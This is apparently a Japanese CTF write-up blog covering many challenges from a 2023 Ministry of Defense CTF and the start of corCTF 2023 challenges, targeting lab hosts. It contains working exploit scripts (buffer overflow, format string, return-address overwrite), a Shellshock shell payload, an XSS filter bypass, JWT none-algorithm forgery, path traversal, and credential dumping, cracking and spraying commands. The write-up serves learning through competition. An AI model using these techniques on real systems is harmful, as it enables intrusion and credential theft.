ROT13で変換する。
https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=c3ludHt0QTBpRUZja05SaUd9

[crypto] Substitution Cipher

暗号文: Uckb uzzc jn gwdmayuzf fjoj ciz Xrhzpèaf xkyizt.ciz hubb kb ggcp{wIR2AuVebMyR}. 鍵: ?VC?

これを復号化する。
https://cryptii.com/pipes/vigenere-cipher で解析することにした。
?VC?が復号化のカギになるが、各文字を変えると対応する文字が変わるので読めるようになるまでポチポチ頑張る。
適当にここに入れて、?をaから順番に試して読めるようになるかポチポチやってるとBVCJで

This text is encrypted with the Vigenv̀zk vbxnxk.bnx ytgz ba leto{bGI2ZzTvaRwI}.

となった。更に後半部分を同じ4文字だろうと仮説を立ててポチポチやるとTTIGでcipher.the flag is flag{vNP2RtAcsLdP}となり、フラグ獲得。

[crypto] Administrator Hash(NTLM hash)

Administrator ユーザーの NTLM ハッシュ値を抽出する問題。
lsassのプロセスダンプがあるので、mimikatzで抽出してやる。
pypykatz使うのがおすすめ。

  1. dockerで環境準備 docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bash
  2. pip3 install pypykatz
  3. pypykatz lsa minidump lsass.dmpで抜く

これでNTと書かれている所に答えが書いてある。

[crypto] Administrator Password

↑の問題の続きで、ハッシュ値から、Administrator ユーザーのパスワードを出す問題。
ほぼボーナス問題でCrackStationに投げれば平文が手に入るのでそれが答え。

[crypto] Hash Extension Attack

以下のようなphpコードが与えられる。(オリジナル残ってなくて微妙に違うかもしれない)

<?php
$payload = urldecode($_GET['payload']);
$hash = urldecode($_GET['hash']);
$secret = 'secret';

hash('md5',$secret); #5ebe2294ecd0e0f08eab7690d2a6ee69, secret length 6.

if (false !== strpos($payload,"admin") && hash('md5',$secret.$payload) == $hash){
    echo "same hash!!\n";
    # flag is $hash:$payload.
}else{
    echo "wrong hash!!\n";
}
?>

secretとして謎の6文字のmd5ハッシュの5ebe2294ecd0e0f08eab7690d2a6ee69に対して、adminを含む文字列を追加してハッシュを作れるかという問題。
どう見てもLength Extension Attackを狙った問題。

だが、5ebe2294ecd0e0f08eab7690d2a6ee69は6文字から作られているので最悪平文がブルートフォースで得られそうではある。
Crackstationに投げるとあっさり「secret」が平文であると分かってしまった。
「secretadmin」でハッシュ作ればいいのでは…?と思ったが弾かれる。
CTFdで動的検証してるのは個人的に見たことがないので、想定解があるんだろうなぁと思いちゃんと作ることに…
ここからが地獄の始まりで、何も刺さらない。
ヒントを開く。

hash_extension.php はハッシュ伸長攻撃に対して脆弱です。

これはまあ。

変数 palyload はパーセントエンコーディングが必要です。

うーん。ちょっと待って、3つ目まで開けても無駄なのでは…?

根性で色々やるとiagox86/hash_extenderで正答のものが作れた。

$ ./hash_extender --data "" --secret 6 --append 'admin' --signature 5ebe2294ecd0e0f08eab7690d2a6ee69 --format md5
Type: md5
Secret length: 6
New signature: abca9f7719017e88dd4aba0aebb17f38
New string: 8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000000000000061646d696e

みたいに作れて、New stringをパーセントエンコーディングに直し、かつ、ちゃんと印字可能な文字はasciiにしてやるとフラグになる。

flag{abca9f7719017e88dd4aba0aebb17f38:%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%000%00%00%00%00%00%00%00admin}

[forensics] The Place of The First Secret Meeting

USBのイメージファイルが与えられる。
画像ファイルを探して、どこの場所かを当てる問題。

FTK Imagerで開くと画像ファイルが置いてある。
お城の画像。
Google画像検索すると「艮櫓(うしとらやぐら)」という名前らしい。
https://nishimagome.link/2020/03/01/takamatsujyo/
ushitorayaguraが正答

[forensics] The Deleted Confidential File

↑の続きの問題。
消されたファイルがあるので復元する問題。

Autopsyに切り替えてみてみると、「重要.zip」というファイルが消されていた。
持ってきて中を見てみるとパスワードがかかっていたが、フラグがファイル名になったtxtファイルが置いてあった。
ファイル名は暗号化されてても読めるのでフラグ獲得。

[forensics] They Cannot Be Too Careful.

↑の続きの問題。
暗号化zipを解凍するためのパスワードを探す問題。

先ほど抽出したzipファイルのパスワードをクラックしようとしたが、うまくいかない。正しく抽出できていないのだろう。
ちゃんとやってもいいのだが、他のツールでちゃんと取れないか試すと、foremostでちゃんと取り出すことができた。
後は、zip2johnとjohn the ripperとrockyou.txtを使ってパスワードクラックする。

$ zip2john 00001992.zip > h

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Warning: invalid UTF-8 seen reading h
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Loaded hashes with cost 1 (HMAC size) varying from 0 to 678498
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
oshiro           (00001992.zip/重要/要求提供的文件清单.pdf)     
oshiro           (00001992.zip/�d�v/flag{Archive_file_was_deleted}.txt)     
2g 0:00:01:09 DONE (2023-08-06 04:27) 0.02876g/s 8705p/s 17410c/s 17410C/s pepito25..oohwee1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

パスワードoshiroが答え。

[forensics] The Taken Out Secrets

暗号化zipの中にあるpdfファイルから情報を集めてフラグを手に入れる問題。

解凍してpdfファイルを見ると、半分しかフラグが置いてなかった。

flag{pdf__is_

埋め込まれている画像を持ってきて、「青い空を見上げればいつもそこに白い猫」のステガノグラフィー解析にかけると以下の文字列が得られる。

_format!!?}

あともう一つ必要そう。
peepdfでも使ってみるかと思って使うと、URIに面白そうなものがのっかっている。

PPDF> object 13

<< /H /I
/Border â 2 2 2 ê
/A << /URI X3BheWxvYWRfX2RlbGl2ZXJ5Xw==
/S /URI >>
/Rect â 280 670 285 675 ê
/Type /Annots
/Subtype /Link
/P 4 0 R >>

展開すると _payload__delivery_ となる。後はくっつけるとフラグになる。

[forensics] Their Perpetration

USBメモリのシリアルナンバーを特定する問題。
イベントログが与えられるので探索していく。
色々見漁ったけれど、結局以下から抜いてきた。
Microsoft-Windows-Kernel-PnP%4Configuration.evtxのeventId:400が使えた。

デバイス USBSTOR\Disk&Ven__USB&Prod__SanDisk_3.2Gen1&Rev_1.00\0401396c0881735a013c2ebddb72f6dd948bcdd22763fdca255eb87ffa1db86 が構成されました。

ドライバー名: disk.inf
クラス GUID: {4d36e967-e325-11ce-bfc1-08002be10318}
ドライバーの日付: 06/21/2006
ドライバーのバージョン: 10.0.19041.1865
ドライバーのプロバイダー: Microsoft
ドライバー セクション: disk_install.NT
ドライバー ランク: 0xFF0006
一致するデバイス ID: GenDisk
上位のドライバー: disk.inf:GenDisk:00FF2002
デバイスの更新日: false
親デバイス: USB\VID_0781&PID_5597\0401396c0881735a013c2ebddb72f6dd948bcdd22763fdca255eb87ffa1db86fbe750000000000000000000098f9511800037a18975581076b2aa021

PIDのスラッシュ以降がそれっぽかったのと、どこかで埋め込んであるみたいなことを読んだ記憶あったので、
スラッシュ移行から適当にサンプルと同じ文字数引っ張ってきたら正答だった。
0401396c0881735a013c

[NW] Transfer

example.com」ドメインの権威 DNS サーバーが与えられて、ざっくりフラグを探してくださいという問題。

ゾーン転送とか試すがダミーデータっぽいものしかない。
目を皿にしてインターネットを探すと、
https://qiita.com/hypermkt/items/610b5042d290348a9dfa#bind%E3%81%AE%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E3%82%92%E8%AA%BF%E3%81%B9%E3%82%8B
が見つかり、dig @10.10.10.21 chaos txt version.bindでフラグ。

[NW] Analysis

プロキシログから怪しい通信をしているIPアドレスを答える問題。

普通の企業のたくさんあるログを消していったら、1つよく分からないのが残って、それを提出すると答えだった。

$ cat proxylog.txt | grep -v "twitter" | grep -v "google" | grep -v "ocsp" | grep -v "windowsupdate" | grep -v "gstatic" | grep -v "yahoo"
Time,elapsed,Source Address,code/status,bytes,Method,URL,Destnation Address,Content Type
2023/4/7 12:26:25,119970,10.200.200.15,TCP_TUNNEL/200,8099213,CONNECT,amazon_co_jp.ipa-info.net:22,HIER_DIRECT/2.57.80.99,-

[NW] Enumeration

サーバにPostfixがインストールされているので、そのバージョンを特定せよという問題。
ポートスキャンをすると確かに 25/tcp が開いている。
ここから長い時間をかけて調査を実験を繰り返したが、何も成果が得られませんでした…

分からんので、ヒント!
防衛省CTFにはポイントが減らされるがヒントが得られるシステムがある。snykのCTFみたいですね)

対象のサーバ上にはどのようなサービスが稼働しているか確認してください。

まあ、これは見た。

SMTP サービス(25/tcp)を調査してもバージョン情報は確認できません。

あーーー!UDPか!

$ sudo nmap -v -T4 -sU -oN udp_nmap 10.10.10.22
...
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp

はいーーーー
snmpですね。

$ snmpwalk -c public -v1 -t 10 10.10.10.22 | grep ost 
iso.3.6.1.2.1.1.4.0 = STRING: "Root <root@localhost> (configure /etc/snmp/snmp.local.conf)"
iso.3.6.1.2.1.25.4.2.1.4.880 = STRING: "/usr/lib/postfix/sbin/master"
iso.3.6.1.2.1.25.6.3.1.2.12 = STRING: "bind9-host_1:9.18.12-1_amd64"
iso.3.6.1.2.1.25.6.3.1.2.69 = STRING: "hostname_3.23+nmu1_amd64"
iso.3.6.1.2.1.25.6.3.1.2.295 = STRING: "postfix_3.7.5-2_amd64"

バージョン情報が見える。

[NW] Ladder

Boot2Rootみたいな問題。
IPアドレスだけ与えられて、特にノーヒント。

いつものポートスキャンを実施して、ひたすら探していくが…探していくが…
ヒント見ました。

SNMP のコミュニティ名を突破してシステム情報を列挙し稼働プロセス情報に着目してください。

HTBで何を学んできたのか…
UDPでスキャンすると確かにsnmpが空いている。
ヒントにはコミュニティ名が必要とあるので、まずはそれを探そう。

$ onesixtyone 10.10.10.23 -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt
Scanning 1 hosts, 3218 communities
10.10.10.23 [secret] Linux Server-NW4 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64

secretだったので、これを使ってsnmp列挙。

$ snmpwalk -v2c -c secret 10.10.10.23
...
iso.3.6.1.2.1.25.4.2.1.5.625 = STRING: "-c while 1 { spawn /usr/bin/telnet 127.0.0.1 143; expect \"OK\"; send \"a001 LOGIN plane BeefOrChicken\\r\"; expect \"a001 OK\"; sleep "

IMAPのアカウント情報が得られる。
evolutionを使ってログインすると以下のようなメールが置いてある。

Hello Plane!
Share Database Account!
ID : aesop, PW : GoldenOrSilver

mysqlにログインして巡回すると中にフラグが置いてある。

$ mysql -h 10.10.10.23 -u aesop -P 3128 -pGoldenOrSilver
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 731261
Server version: 10.11.3-MariaDB-1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| goal               |
| information_schema |
+--------------------+
2 rows in set (0.009 sec)

MariaDB [(none)]> use goal;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [goal]> show tables;
+----------------+
| Tables_in_goal |
+----------------+
| flag           |
+----------------+
1 row in set (0.009 sec)

MariaDB [goal]> select * from flag;
+----+--------------------+
| id | flag               |
+----+--------------------+
|  1 | flag{iJhyYG8#w&yy} |
+----+--------------------+
1 row in set (0.010 sec)

[programming] Regex Exercise

ゴミデータがたくさんあって、以下条件を満たす文字列を探すとそれがフラグになっている。

Regexp
"!!" を含む3文字
数字2けた
"S" で始まる5文字以上の英単語
一の位が "8" の数値
がこの順番で並んだものです。

/(regexp.*\!\!\d{2}S[a-zA-Z]{4}[a-zA-Z]+\d+8)/gmiで見つかる。

[programming] Mimic Unicode

全部「ゴ」のように見えるファイルが与えられてフラグを探す問題。

バイナリエディタで見ると微妙に違う。
e3 82 b4 e3 82 b3 e3 82 99の3種類によって「ゴ」が表現されていた。
以下のようにe3 82を消して色々実験する。

b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b4 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b3 99 b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b4 b3 99 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b3 99 b4 b3 99 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b3 99 b4 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b4 b3 99 b3 99 b4 b4 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b3 99 b4 b3 99 b4 b4 b3 99 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b4 b3 99 b3 99 b3 99 b4 b4 b3 99 b4 b4 b3 99 b3 99 b4 b3 99 b3 99 b4 b3 99 b4 b3 99 b3 99 b4 b4 b4 b4 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b3 99 b4 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b4 b3 99 b4 b4 b3 99 b4 b4 b4 b4 b4 b4 b4 b3 99 b3 99 b3 99 b4 b3 99 b4 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b3 99 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b4 b3 99 b3 99 b4 b3 99 b3 99 b3 99 b4 b4 b3 99 b3 99 b3 99 b3 99 b3 99 b4 b3 99

モールス信号かとも思ったが、ごちゃごちゃやってたら以下でフラグが得られた。

https://gchq.github.io/CyberChef/#recipe=Find/Replace(%7B'option':'Simple%20string','string':'%20'%7D,'',true,false,true,false)Find/Replace(%7B'option':'Simple%20string','string':'99'%7D,'%20',true,false,true,false)Find/Replace(%7B'option':'Regex','string':'b3'%7D,'1',true,false,true,false)Find/Replace(%7B'option':'Regex','string':'b4'%7D,'0',true,false,true,false)From_Binary('Space',8)

[programming] LFSR Period

次の多項式で表される長さ20ビットの線形帰還シフトレジスタ(LFSR)に、初期値 0x70109 を与えた場合の周期(もう一度 0x70109 が現れるまでのシフト回数)を10進整数で答えてください。
x20 + x15 + x11 + 1

という問題。

このあたりを見ながらLFSRを思い出して検証コードを実装した。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/
 
 
 
// https://ja.wikipedia.org/wiki/%E7%B7%9A%E5%BD%A2%E5%B8%B0%E9%82%84%E3%82%B7%E3%83%95%E3%83%88%E3%83%AC%E3%82%B8%E3%82%B9%E3%82%BF
void _main() {
    unsigned long reg = 0x70109;
    unsigned long bit;
    unsigned long x11 = 0x1 << 9;
    unsigned long x15 = 0x1 << 5;
    unsigned long x20 = 0x1 << 0;
    unsigned int period = 0;
    do {
            bit = ((reg & x11) >> 9) ^ ((reg & x15) >> 5) ^ ((reg & x20) >> 0);
            reg = (reg >> 1) | (bit << 19);
            ++period;
    } while((reg != 0x70109) && (period <= (1<<19)));
    printf("%d\n", period);
}

[programming] Grayscale Matrix

3個のファイルに記された数値からなる行列からフラグを復元してください。

という問題で、L.txt, P.txt, U.txtというファイル名になっている。
かなりLU分解っぽいので、その辺りで探すと、
https://www.cfm.brown.edu/people/dobrush/cs52/Mathematica/Part2/PLU.html
のようにPLU decompositionというのがあり、A=PLUらしい。
実際にPLUを計算して行列Aを作ってみると、整数で[0,255]っぽい行列が得られたので、問題文に従いグレースケール画像に変換するとフラグになった。
以下sageコード。

from sage.all import *

lmat = []
with open("L.txt") as fp:
    for line in fp.readlines():
        row = []
        vals = line.split(' ')
        for val in vals:
            row.append(float(val))
        lmat.append(row)

umat = []
with open("U.txt") as fp:
    for line in fp.readlines():
        row = []
        vals = line.split(' ')
        for val in vals:
            row.append(float(val))
        umat.append(row)

pmat = []
with open("P.txt") as fp:
    for line in fp.readlines():
        row = []
        vals = line.split(' ')
        for val in vals:
            row.append(float(val))
        pmat.append(row)

ans = Matrix(pmat) * Matrix(lmat) * Matrix(umat)
print(ans.dimensions())

from PIL import Image

im = Image.new("RGB", (256, 256), (0, 0, 0))

for x in range(256):
    for y in range(256):
        col = int(ans[y][x])
        im.putpixel((x,y),(col,col,col,0))

im.save('ans.png', quality=95)

[pwn] Auth

ghidraに食わせるとこういう感じ。(見やすいように変名済み)

passResult = 0x736c6166; // "fals"
passResult2 = 0x65; // "e"
...
printf("User: ");
gets((char *)&username);
printf("Password: ");
gets((char *)&password);
res = strcmp((char *)&password,flag);
if (res == 0) {
    passResult = 0x65757274; // "true"
    passResult2 = passResult2 & 0xff00; // trueにするためにキレイにしてる
}
res = strcmp((char *)&username,"admin");
if ((res == 0) && (res = strcmp((char *)&passResult,"true"), res == 0)) {
    puts("Login succeeded!!");
    printf("flag: %s\n",flag);
    return 0;
}
puts("Invalid password...");

ユーザー名はadminでパスワードはフラグなのだが、あとの判定でpassResultに"true"が代入されて判定が続行されている。
getsはバッファオーバーフローするので、うまく使ってpassResultを"true"にする。
gdbで動かしながらスタックを見るとこんな感じ。

0000| 0x7fffffffdea0 --> 0x41414141 ('AAAA')     ← username
0008| 0x7fffffffdea8 --> 0x0 
0016| 0x7fffffffdeb0 --> 0x42424242 ('BBBB')     ← password
0024| 0x7fffffffdeb8 --> 0x0 
0032| 0x7fffffffdec0 --> 0x0 
0040| 0x7fffffffdec8 --> 0x65736c61660000 ('')

passwordを伸ばして、0x7fffffffdec8らへんを侵害する。

from pwn import *

binary_name = './auth'
context.binary = binary_name
context.log_level = "debug"
p = remote("10.10.10.15", 1001)

p.sendlineafter(b'User: ', b'admin')
p.sendlineafter(b'Password: ', b'\x00'*(8 * 3) + b'\x00\x00\x74\x72\x75\x65\x00\x00')
p.interactive()

[pwn] Festival

  budget = 1000;
  prices[0] = 100;
  prices[1] = 200;
  prices[2] = 300;
  prices[3] = 500;
  local_28 = 1000000000;

    printf("Balance : %d\n",(ulong)budget);
    puts("==Menu==");
    for (i = 0; i < 5; i = i + 1) {
      printf("%d. %s : %d\n",(ulong)(i + 1),(long)&local_68 + (long)i * 9,(ulong)prices[i]);
    }
    putchar(10);
    puts("Staff > What do you want to buy?");
    puts("Staff > Input menu number.");
    printf(" You  > ");
    __isoc99_scanf(&%d,&kind);
    puts("Staff > How many?");
    printf(" You  > ");
    __isoc99_scanf(&%d,&count);
    if ((5 < kind) || (kind < 1)) {
      printf("Staff > Invalid number!");
      return 0;
    }
    if (count < 1) {
      puts("Staff > Huh?");
      return 0;
    }
    budget = budget - count * prices[kind + -1];
    if ((int)budget < 0) break;
    if (kind == 5) {
      printf("Staff > %s\n",flag);
      return 0;
    }

種類5の品物が買えればフラグが得られるが、値段が1000000000円で、予算が1000円なので買えないという問題。
整数オーバーフローが使えそう。
細かい計算はしていないが、種類5をINT_MAXの2147483647個買ったらフラグがもらえた。

[pwn] Parrot

  __stream = fopen("flag.txt","rt");
  buf = (char *)malloc(0x30);
  fgets(buf,0x30,__stream);

  ...

  printf(" You > ");
  __isoc99_scanf("%255s",&userInput);
  printf("Parrot > ");
  printf((char *)&userInput);

Format String Attackができる問題。
最も入門的な形はprintfに入れる文字列が入った配列を参照させる形であるが、スタック的には隣にbufもあるので
そちらを参照させるようにすればフラグが手に入る。

from pwn import *

binary_name = './parrot'
context.binary = binary_name
context.log_level = "debug"
p = remote("10.10.10.15", 1003)

p.sendlineafter(b' You > ', b'%7$s')
p.recvuntil(b'Parrot > ')
print(p.recvall())

[pwn] Shock

  printf("You > ");
  fgets(userInput,0x20,stdin);
  snprintf(envExp,0x30,"s=%s",userInput);
  putenv(envExp);
  system("./bash_4.3.0 -c \'echo Shocker \\> $SHOCK level will not bring you down.\'");
  return 0;

環境変数に入力を入れて、bash 4.3.0を呼ぶ問題。
bashを見ると結構古く、その辺りを色々調べてみた感じと、問題名にあるshockを考慮すると、shellshockが使えそう。

jeholliday/shellshock: An analysis of Shellshock
にあった() { :; }; echo "pwned"が刺さる。
() { :; }; /bin/bashでシェル起動できるので、後は色々やってcat flag.txtでフラグ獲得。

[pwn] Noprotect

undefined8 main(void)

{
  char userInput [256];
  
  puts("                             _            _   ");
  puts(" _ __   ___  _ __  _ __ ___ | |_ ___  ___| |_ ");
  puts("| \'_ \\ / _ \\| \'_ \\| \'__/ _ \\| __/ _ \\/ __| __|");
  puts("| | | | (_) | |_) | | | (_) | ||  __/ (__| |_ ");
  puts("|_| |_|\\___/| .__/|_|  \\___/ \\__\\___|\\___|\\__|");
  puts("            |_|                               \n");
  putchar(10);
  printf("n0protec > ");
  gets(userInput);
  return 0;
}

とても単純なmain関数。
別途flags関数があり、そちらに制御を移すことができればフラグが手に入る。

$ pwn checksec noprotect 
[*] '/mnt/nodefender/ctf-20230805/boeisho-cyber-contest-2023/pwn-noprotect/noprotect'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

checksecを見てもスタック保護は全くない。
リターンアドレスをflags関数のものに書き換えるだけ。
(だけのはずが、久しぶりすぎて1時間刺さるのにかかった)

from pwn import *

binary_name = './noprotect'
context.binary = binary_name
context.log_level = "debug"
p = remote("10.10.10.15", 1005)

p.sendlineafter(b'n0protec > ', b'A' * (0x100 + 8) + p64(0x0000004011a6))
p.interactive()

[trivia]

知識問題。

コンピューターシステムを侵害し、身代金を目的としてデータを暗号化したり、アクセスをブロックしたりするマルウェアは何ですか。

ランサムウェア

[trivia] Behavior

知識問題。

エージェントを使用してエンドポイント上のふるまいを検知し、異常な活動を検出し、攻撃に対する即座な応答を可能にするエンドポイントセキュリティ技術は何ですか。

EDR

[trivial] Inventor

知識問題。

RSA 暗号の R の由来になった人物は誰でしょうか?ラストネームをお答えください。

https://ja.wikipedia.org/wiki/%E3%83%AD%E3%83%8A%E3%83%AB%E3%83%89%E3%83%BB%E3%83%AA%E3%83%99%E3%82%B9%E3%83%88
リベスト

[web] Basic

pcapファイルとウェブサイトが与えられるのでbasic認証を突破せよという問題。
pcapファイルを見るとBasic認証へのアクセス試行がいくつか記録されているので、そこから認証情報を抜き取ってきてウェブサイトで試すと刺さるものがある。
まじめに探すと大変なので、WireSharkの検索機能でAuthorization:あたりで検索するといい感じに見れる。

[web] Discovery

謎のURLが与えられるので、ざっくりフラグを見つけてという問題。
ディレクトリスキャニングで目的のパスを見つける。

gobuster dir -u "http://10.10.10.6/Wg6LQhmX/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .php,.html
/games                (Status: 301) [Size: 241] [--> http://10.10.10.6/Wg6LQhmX/games/]
gobuster dir -u "http://10.10.10.6/Wg6LQhmX/games/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .php,.html
/admin.html           (Status: 200) [Size: 19]

http://10.10.10.6/Wg6LQhmX/games/admin.html
にフラグが置いてあった。

[web] Bypass

XSS<script>alert(1)</script>を引き起こす問題。
普通に入力を入れると<>alert(1)</>のようにscriptが消されてしまう。
あと、出力時は基本エスケープされて出力される。

年齢を入力する所があるが、UI上は数値のみに限定されている。 だが、Burp Suiteなどで送るデータを改ざんすることで文字列を送ることもでき、実際出力されるときはそれに甘えて

<input type="text" class="form-control" id="age" value="<>alert(1)</>" disabled>

のようにエスケープされずに出力される。
よって">[任意のhtmlタグ]<div x="のようにすれば任意のhtmlタグを差し込むことができ、XSSに一歩近づく。
残った問題はscriptが消される問題だが、1つの文字列に対して1度しか消されないようで、scrscriptiptのようにすれば真ん中のscriptが消えてscriptを残せる。
よって、"><scrscriptipt>alert(1)</scrscriptipt><div x="でフラグ獲得。

[web] Spray

社員情報が見られるウェブサイトとその認証情報が与えられる。
社員数は100人らしいが、そのうち1人が脆弱なパスワード「password」もしくは「123456789」を利用している。
この脆弱なパスワードを使用しているユーザーの認証情報を特定せよという問題。

ユーザー名の候補を探してくる必要がある。
与えられる認証情報がuser1なので、user1~user100がユーザー名だろうと決めてかかると自分のように6時間ほどハマる。
社員情報を以下のように全部持ってきて、そこからユーザー名っぽいものを抽出してくる。

import requests

BASE_URL = 'http://10.10.10.7'

for id in range(101):
    userid = f'user{id}'
    r = requests.get(BASE_URL + f'/mpk5tdbu/prof.php?id={id}', cookies={'PHPSESSID': '6th4dh40p4drpkfctueo3m65pv'}).text
    print(r)

どれを使うかであるが、メールアドレスのユーザー名部分をユーザー名の候補として使用するのが正解パスだった。
それを辞書としてusers.txtとして保存して、hydraでログイン総当たりする。

$ hydra -L users.txt -p 123456789 10.10.10.7 http-post-form "/mpk5tdbu/login.php:userID=^USER^&password=^PASS^:正しくありません"   
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-06 07:59:17
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:100/p:1), ~7 tries per task
[DATA] attacking http-post-form://10.10.10.7:80/mpk5tdbu/login.php:userID=^USER^&password=^PASS^:正しくありません
[80][http-post-form] host: 10.10.10.7   login: kimi_ihara   password: 123456789
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-06 07:59:26

認証情報を得ることができ、これを使ってログインすればフラグ獲得。

[web] Location

ログインに使える認証情報が1組与えられ、ウェブサイトのどこかにあるflag.txtというファイルの中身を見るのがゴールの問題。
以下のセキュリティ対策が実施されているとのこと。

ID とパスワードでの認証
多要素認証
一般ユーザーと管理者で表示できるページを分けている
機密情報(flag.txt)にはアクセス制限をかけている

認証情報を使ってログインしてみると、二要素認証が要求される。
二要素認証のバグで突破できないか色々試すが何も刺さらない。
かなり実験したがあきらめてヒントを見る。

認証タイプを選ばない、という選択肢もあります

んー、その辺は死ぬほど試したけど…と思ったが消して試したことがないことに気づく。
認証情報を打ち込むとPOST /multi.phpへリクエストが飛ぶが、そこにあるmultiというパラメタを消せば二要素認証をスキップできる。

POST /multi.php HTTP/1.1
Host: 10.10.10.8
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=vruch6j793gk6g7jm84sr8p0ma
Connection: close

username=test&password=password

これでログイン可能。
ログイン後はtokenにJWTが追加される。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoidXNlciIsImlwIjoiMTAuMTAuMTAuMTAifQ.YWY4MWJhYTVlY2YzNDc5OGJiN2ZmZTNjMzMyYmZlYWJjOWI1MTVkOTgwMzlmM2VjNjZiNWIyMjE3ZWM0YTM0Zg

header: { "alg": "HS256", "typ": "JWT" }
payload: { "account": "user", "ip": "10.10.10.10" }

accountにuserとあり、ここをadminにできれば管理者権限で色々できそうである。
色々実験すると、JWTのnoneを使った攻撃が刺さった。

import jwt
payload = {
  "account": "admin",
  "ip": "10.10.10.10"
}
res = jwt.encode(payload, '', algorithm='none')
print(res)

これで新しくファイルが参照できるPOST /file.phpにアクセス可能になる。
id=flagで参照してみるが、alert("このファイルは外部からアクセス可能ではありません。");と言われる。
内部外部を見ていそう?
JWTにipという情報が含まれていたことを思い出し、ip部分を127.0.0.1に変更してJWTトークンを作り直して再度id=flagを見るとフラグが得られた。

corCTF 2023 Writeups

[web] msfrognymize

おなじみのカエルの画像ジェネレータの問題。
app.pyの以下が怪しいポイント。

@app.route('/anonymized/<image_file>')
def serve_image(image_file):
    file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file))
    if ".." in file_path or not os.path.exists(file_path):
        return f"Image {file_path} cannot be found.", 404
    return send_file(file_path, mimetype='image/png')

python3のjoinは以下のような挙動をするので、パストラバーサルに使える。

>>> import os
>>> print(os.path.join('/home', 'flag.txt'))
/home/flag.txt
>>> print(os.path.join('/home', '/flag.txt'))
/flag.txt

なので、file_pathに/flag.txtが入れられればフラグが得られそう。
単純に/anonymized//flag.txtのようにしても(たぶんFlaskが)URLを標準化する感じでリダイレクト処理が走ってしまう。
だが、コード内でunquoteをわざわざ読んでいるのがミソで以下のようにURLエンコーディングを2重でかけると、
この標準化を無視できてパストラバーサルできる。

GET /anonymized/%252fflag.txt HTTP/1.1
Host: msfrognymize.be.ax
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close

[web] force

graphqlのPINのログイン画面が与えられる。
重要そうな部分を抜粋すると以下のようなソースコード

const secret = randomInt(0, 10 ** 5); // 1 in a 100k??

let requests = 10;

await app.register(mercurius, {
    schema: `type Query {
        flag(pin: Int): String
    }`,
